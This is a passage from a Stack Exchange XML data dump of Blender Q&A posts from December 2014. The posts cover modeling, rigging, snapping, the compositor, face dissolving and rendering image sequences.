Visible&lt;/strong&gt; button (as I did in the GIF), or simply press &lt;kbd&gt;Z&lt;/kbd&gt; to switch to &lt;strong&gt;Wireframe&lt;/strong&gt; display mode. in order to see through it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="1448" LastEditDate="2014-12-14T04:25:09.807" LastActivityDate="2014-12-14T04:25:09.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20898" PostTypeId="2" ParentId="20893" CreationDate="2014-12-14T04:53:34.587" Score="0" Body="&lt;p&gt;I think what you are wanting to do is make those two segments, the handle and base, into one solid object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, the easiest way I would recommend doing this is to select the two objects in Object mode, then apply a boolean modifier set to union. This will instantly merge the two objects together for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a tutorial that helped me understand using boolean modifiers better if you aren't familiar with them: &lt;a href=&quot;https://www.youtube.com/watch?v=pcUe-ab_jQs&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=pcUe-ab_jQs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9496" LastActivityDate="2014-12-14T04:53:34.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20899" PostTypeId="1" CreationDate="2014-12-14T05:15:36.287" Score="1" ViewCount="19" Body="&lt;p&gt;I need to trigger an action (a 30 frames animation) attached to a nurbs path, made by keyframing the &quot;evaluation time&quot; in the curve menu. But it's not listed in the objects of my scene, I checked :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    logic.scene = logic.getCurrentScene()&#xA;&#xA;    # print all the objects in the scene&#xA;    for obj in logic.scene.objects:&#xA;            print(obj.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's confusing because it IS listed in the outliner along with the other objets..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I access my curve so I can use &lt;code&gt;playAction()&lt;/code&gt;? Is there another way to acces an action in the scene?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastActivityDate="2014-12-14T05:15:36.287" Title="BGE : Access a Nurbs path from python" Tags="&lt;python&gt;&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-14T16:54:59.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="20900" PostTypeId="1" AcceptedAnswerId="20905" CreationDate="2014-12-14T05:24:08.627" Score="4" ViewCount="4621" Body="&lt;p&gt;I'm new to blender, and am trying to make a Minecraft animation. I can get a single character in, but don't know how to have multiple rigs in a single animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you have multiple characters?&lt;/p&gt;&#xA;" OwnerUserId="9497" LastEditorUserId="55" LastEditDate="2014-12-14T12:56:50.597" LastActivityDate="2014-12-14T12:56:50.597" Title="Can you use multiple rigs in Blender" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20901" PostTypeId="2" ParentId="20900" CreationDate="2014-12-14T07:30:37.230" Score="2" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, as you said, you havemultiple rigs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you must have 2 characters , and the only way to do this is by making separate animations for each rig ( Make each rig have its own couple of animations like shown in the video ) . Then , you select the animation for both rigs that correspond to each other , so when you render it will play the animation that you want to play &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if that makes sense&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I made this video , And it might come in handy for exactly what you need!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=E-8K1yG6uyE&amp;amp;list=UU28bfUuaupS-1mzytSUmlrw&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=E-8K1yG6uyE&amp;amp;list=UU28bfUuaupS-1mzytSUmlrw&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="55" LastEditDate="2014-12-14T10:41:18.320" LastActivityDate="2014-12-14T10:41:18.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20905" PostTypeId="2" ParentId="20900" CreationDate="2014-12-14T08:45:34.607" Score="3" Body="&lt;p&gt;It's fairly simple, really. If you're using a good rig, it should be in a group and you can import it easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, find whatever file you plan on animating with (I'm using a blank one):&#xA;&lt;img src=&quot;https://i.imgur.com/Fni5VHp.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, go to File&gt;Append...&#xA;&lt;img src=&quot;https://i.imgur.com/t84NkfC.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the rig you want add to your animation...&#xA;&lt;img src=&quot;https://i.imgur.com/qSkNXQw.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open it and select &quot;Group...&quot;&#xA;&lt;img src=&quot;https://i.imgur.com/jpzcRf1.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the group...&#xA;&lt;img src=&quot;https://i.imgur.com/KTjhzas.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There it is! The rig is there. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; to get rid of that pesky green outline.&#xA;&lt;img src=&quot;https://i.imgur.com/92V3DWx.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if the rig creator hasn't already put it in a group, then it's up to you to do that, which is fortunately quite trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, open the original rig file and select everything that's a part of the rig.&#xA;&lt;img src=&quot;https://i.imgur.com/56CiRGd.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; to put everything you've selected into a single group.&#xA;&lt;img src=&quot;https://i.imgur.com/qYV0Rrc.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, repeat to import the rig!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optional step: press F6 to bring up the Action Properties panel. You can then specify a name for the group, which is especially useful if there are multiple rigs in one file.&#xA;&lt;img src=&quot;https://i.imgur.com/Row5Swq.png&quot; alt=&quot;yee&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2014-12-14T08:45:34.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20906" PostTypeId="2" ParentId="20895" CreationDate="2014-12-14T08:57:07.797" Score="0" Body="&lt;p&gt;You need to set the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Snap Element&lt;/em&gt;&lt;/a&gt; to &lt;em&gt;Face&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XxKPM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-14T08:57:07.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20907" PostTypeId="2" ParentId="20894" CreationDate="2014-12-14T09:12:32.530" Score="3" Body="&lt;p&gt;You could convert the hair particles to a mesh in the modifier tab in the properties panel.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PQiPM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would only create and object with only edges and vertices:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KSB6v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need meshes with faces you could emit low poly cylinders from the hair particles before converting them to a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ByBsq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-14T09:12:32.530" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20908" PostTypeId="2" ParentId="20893" CreationDate="2014-12-14T09:21:13.087" Score="0" Body="&lt;p&gt;Set the snap target to closest and snap element to face:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EwyEW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGblf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-14T09:21:13.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20909" PostTypeId="2" ParentId="20863" CreationDate="2014-12-14T10:01:28.887" Score="1" Body="&lt;p&gt;Using the &lt;strong&gt;Import Images as Planes&lt;/strong&gt; addon you can import several images and align them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aelnM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the images, set the offset value and materials for the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HY7hj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender will then create an plane for each image and line them up on the x axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8PKEK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To line up the planes in a different axis there is a modified script that you can find &lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=305639&amp;amp;d=1398650875&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y01Kd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blenderartists.or thread for this script is &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?333722-Import-images-as-planes-addon-for-Z-axis&amp;amp;highlight=images%20planes%20stack&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just set up an orthographic camera to frame your images and set your render size to your needs.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-14T12:21:34.527" LastActivityDate="2014-12-14T12:21:34.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20910" PostTypeId="2" ParentId="20900" CreationDate="2014-12-14T10:13:42.447" Score="4" Body="&lt;p&gt;You can have as many rigs as you like it is pretty much the same as adding objects. You might be confused when you started your animation in the &lt;em&gt;Timeline&lt;/em&gt;. You will only see the keyframes of the selected object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend to learn about &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet/Action&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Actions&lt;/em&gt;&lt;/a&gt; ( parts of an animation like: walk, jump etc.) and the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot; rel=&quot;nofollow&quot;&gt;NLA-editor&lt;/a&gt; this allows you to reuse already created actions to assemble an animation from actions.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-14T10:13:42.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20911" PostTypeId="1" AcceptedAnswerId="20924" CreationDate="2014-12-14T11:09:45.967" Score="0" ViewCount="203" Body="&lt;p&gt;I am planning to make a plane with heat distortion which is the same as &lt;a href=&quot;http://www.blenderguru.com/tutorials/how-to-create-heat-distortion/#.VI5GlivF9jI&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/tutorials/how-to-create-heat-distortion/#.VI5GlivF9jI&lt;/a&gt;&#xA;I followed all the steps but i can't add the input render layer in the compositor for the plane. Is there any neccessary thing needed to be done before using the compositor? It is my first time using compositor.&#xA;Here is the file , &lt;a href=&quot;http://www.mediafire.com/download/mswmux40sugxjs3/help+plane.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/mswmux40sugxjs3/help+plane.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2014-12-14T11:19:53.583" LastActivityDate="2017-03-19T15:26:03.943" Title="Composition Input render layer" Tags="&lt;compositor&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20912" PostTypeId="1" AcceptedAnswerId="20936" CreationDate="2014-12-14T11:31:06.247" Score="1" ViewCount="3211" Body="&lt;p&gt;Before answering this question please consider that an 'answer' involving IK bone constraints should go in comments. In this question I am only interested in forward kinematics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many humanoid models use a T-pose like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AEUgY.jpg&quot; alt=&quot;A fairly old fashioned T-pose&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often end up doing custom rigs, and need to keep them simple (I really do). To avoid unrealistic bending of the elbow while animating, I want to constrain the rotation of the elbow joint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method (when using forward kinematics) is switch to Eulers and lock the rotation in UI, as illustrated by this picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y9QPa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some artists discourage the use of a straight T pose. So we often see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkGkK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that an axis-angle rotation may do the trick in such cases, however figuring the rotation axis would require tedious calculations; also, behaviour when rotating an axis-angle-locked joint in 3D view is not very satisfying. Finally I don't really want to use something other than quaternion rotations if I can avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what would be a good way to constrain rotation in such cases?&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastEditorDisplayName="user3345" LastEditDate="2014-12-14T11:42:29.180" LastActivityDate="2014-12-21T13:34:35.283" Title="How to lock elbow rotation (forward kinematics)" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20913" PostTypeId="1" AcceptedAnswerId="20916" CreationDate="2014-12-14T13:56:09.723" Score="0" ViewCount="204" Body="&lt;p&gt;I'm trying to animate a character with blender 2.71. But before to reach this step I need to fix correctly the armature. The problems is that the mesh is deformed correctly but when I move it the armature seems to be separated from it. Another problem that I have is that even if I have configured correctly the weight colors,the mesh in some regions aren't deformed correctly. You can understand better where are the problems by checking the pictures located here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.psychonews.it/pics/arm/&quot; rel=&quot;nofollow&quot;&gt;pictures list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6185" LastActivityDate="2015-01-13T15:43:38.247" Title="Mesh not deformed correctly and armature not attached to it even if the weight colors are good" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20914" PostTypeId="1" CreationDate="2014-12-14T14:15:50.107" Score="1" ViewCount="45" Body="&lt;p&gt;A typical blender panel looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WTP6V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a layout object, and we typically add stuff to it. My add-on lets user select from many garments, and for that, I need to be able to show the garment images clearly. So I can't use a button icon, since the user won't be able to see the garment properly when it is icon-size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to show an image in the panel whose size I can set. Is there a way to add an image like that to the layout of the panel?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2014-12-14T14:15:50.107" Title="Show an image in a panel/window" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-14T15:27:28.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="20916" PostTypeId="2" ParentId="20913" CreationDate="2014-12-14T15:31:45.183" Score="2" Body="&lt;p&gt;It seems that you parented the bones to wrong objects, here you have the upper legs bone parented to the lower leg mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DsyFg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be way easier to join all the objects to a single one and weight paint againt.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-14T15:31:45.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20917" PostTypeId="2" ParentId="20882" CreationDate="2014-12-14T15:52:02.203" Score="1" Body="&lt;p&gt;Here, I've set up a simple box that is weight painted so the main bone only influences the flap.  The tip bone is there for the IK setup.(not sure I did this entirely right since I'm still just learning this as well)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, here are a few pics.  First you can add a loopcut to the edge of the flap to limit the weight paint so the bone does not affect the rest of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SOj4G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the weight paint setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g2kfh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an Empty added near the tip of the IK controller bone which is referenced in the IK constriant which I added to that bone as shown next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqyLT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added rotation locks to both bones so they can only move in one axis.  The image shows 2 places where this can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0cFoJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next is an animation showing the result of moving the Empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSHuY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-12-14T15:59:35.373" LastActivityDate="2014-12-14T15:59:35.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20918" PostTypeId="1" CreationDate="2014-12-14T16:37:56.083" Score="9" ViewCount="26508" Body="&lt;p&gt;I want to make the origin in edit mode at a vertex, but it keeps setting it to the last clicked-on face :( So now in edit mode the pivot is on the last clicked-on face ;(&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="3127" LastEditDate="2014-12-14T16:45:11.147" LastActivityDate="2020-04-02T22:11:07.823" Title="Set origin to vertex in edit mode?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20919" PostTypeId="2" ParentId="20918" CreationDate="2014-12-14T17:01:41.013" Score="20" Body="&lt;p&gt;In Edit mode, make sure you enable vertex selection.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8acro.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the vertex to which you want to set the origin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While still in &lt;em&gt;Edit Mode&lt;/em&gt;, &lt;em&gt;Mesh &gt; Snap &gt; Cursor to Selected&lt;/em&gt; &#xA;If all you want to do is change the pivot point, set it to 3D cursor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D8eBL.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you actually want to change the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to Object mode, then &lt;em&gt;Object &gt; Transform &gt; Origin to 3D Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Blender 2.8 it's &lt;em&gt;Object &gt; Set Origin &gt; Origin to 3D Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="19307" LastEditDate="2020-04-02T22:11:07.823" LastActivityDate="2020-04-02T22:11:07.823" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20920" PostTypeId="1" AcceptedAnswerId="20921" CreationDate="2014-12-14T17:16:41.883" Score="36" ViewCount="56634" Body="&lt;p&gt;I have a plane consisting of 4 squares - take as an example a subdivided plane. How can I merge these faces into one? &lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="55" LastEditDate="2014-12-14T22:41:42.127" LastActivityDate="2020-02-09T01:24:03.947" Title="How to merge 4 adjacent, coplanar faces into a single face" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="20921" PostTypeId="2" ParentId="20920" CreationDate="2014-12-14T17:21:46.517" Score="46" Body="&lt;p&gt;There is an operator called Dissolve which does exactly what you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select everything, with &lt;kbd&gt;A&lt;/kbd&gt;, and then press &lt;kbd&gt;X&lt;/kbd&gt; (or &lt;kbd&gt;Delete&lt;/kbd&gt;) and select &lt;code&gt;Limited dissolve&lt;/code&gt;. This will do the same thing as above, but will not require you to select the proper vertices manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wif2B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="55" LastEditDate="2014-12-14T22:38:54.917" LastActivityDate="2014-12-14T22:38:54.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20922" PostTypeId="1" CreationDate="2014-12-14T18:16:36.430" Score="3" ViewCount="219" Body="&lt;p&gt;I want to simulate a squishy body like that of an jellyfish. The goal is to have one frame where it is at rest on the ground to render an image. The point of the simulation is to have it fold believably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried with cloth simulation but it didn't work at all. It didn't keep the shape and just swelled out like a balloon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried soft body simulation but I also want the body to fold and not look so much like a rubber objectl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a matter of tweaking the settings?&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="3401" LastEditDate="2014-12-14T20:12:38.547" LastActivityDate="2014-12-14T20:12:38.547" Title="How would I simulate a jellyfish on the ground?" Tags="&lt;physics&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20924" PostTypeId="2" ParentId="20911" CreationDate="2014-12-14T21:31:19.377" Score="3" Body="&lt;p&gt;You need to activate the compositor by checking the &quot;use nodes&quot; option in the node editor's menu header (make sure you have the composite tree selected!) It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GboI3.png&quot; alt=&quot;It looks like this&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has not been done in your file.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastEditorDisplayName="user1853" LastEditDate="2017-03-19T15:26:03.943" LastActivityDate="2017-03-19T15:26:03.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20925" PostTypeId="2" ParentId="20920" CreationDate="2014-12-14T21:36:06.887" Score="23" Body="&lt;p&gt;so long as the faces are surrounded by more geometry, using &lt;kbd&gt;f&lt;/kbd&gt; for Make Edge/Face works well.  For a whole simple sub-divided plane like the example given, this tool will make a mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6IefL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-12-14T21:36:06.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20926" PostTypeId="2" ParentId="20886" CreationDate="2014-12-14T22:48:49.653" Score="3" Body="&lt;p&gt;It is good practice to not render out movie strips to a single move file. Instead you should render images as .PNG files and add the images together in the video sequence editor. Then add the original audio clip afterwards, in the final edit. I wouldn't recommend using a script at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change output to PNG:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rH7pq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set range to 100 frames(to test with):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1xTqM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press the normal animation-render button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k51fX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that's done, you go to video editing and press &quot;Add&quot; -&gt; &quot;Image&quot; and select all 100 images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/idzsA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender will then treat this as a movie strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you add the audio clip, and adjust so the timing matches&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="5705" LastEditDate="2014-12-15T03:16:30.933" LastActivityDate="2014-12-15T03:16:30.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20927" PostTypeId="1" CreationDate="2014-12-14T23:22:40.303" Score="1" ViewCount="703" Body="&lt;p&gt;I am working on a desert animation and need heat haze for it. I found a &lt;a href=&quot;http://www.blenderguru.com/tutorials/how-to-create-heat-distortion/#.VI7wnyvF9jJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial about heat haze&lt;/a&gt;. But the render layer is different from mine. The tutorial used a picture scene render layer and a heat distortion render layer in the compositor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xrzkI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While mine doesn't ause image for it.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B9btH.png&quot; alt=&quot;My desert blend.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? &lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="2217" LastEditDate="2014-12-15T02:01:36.680" LastActivityDate="2014-12-15T07:32:45.047" Title="How to setup a heat haze effect in the compositor" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20928" PostTypeId="1" CreationDate="2014-12-15T00:38:15.460" Score="8" ViewCount="1253" Body="&lt;p&gt;I am rendering a scene in Blender Internal Render Engine and I am noticing white outlines around certain objects. I can't tell if it is happening everywhere or if there just isn't enough contrast to show the problem on other objects. Regardless, I am trying to figure out why this might be happening and how to stop it from rendering this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxakY.png&quot; alt=&quot;White outlines rendering&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="2952" LastEditDate="2015-12-06T23:49:09.107" LastActivityDate="2015-12-06T23:49:09.107" Title="How do I get rid of white outlines around objects in Blender Internal Render Engine?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="11" FavoriteCount="1" ClosedDate="2015-12-07T00:25:52.403" ContentLicense="CC BY-SA 3.0" />
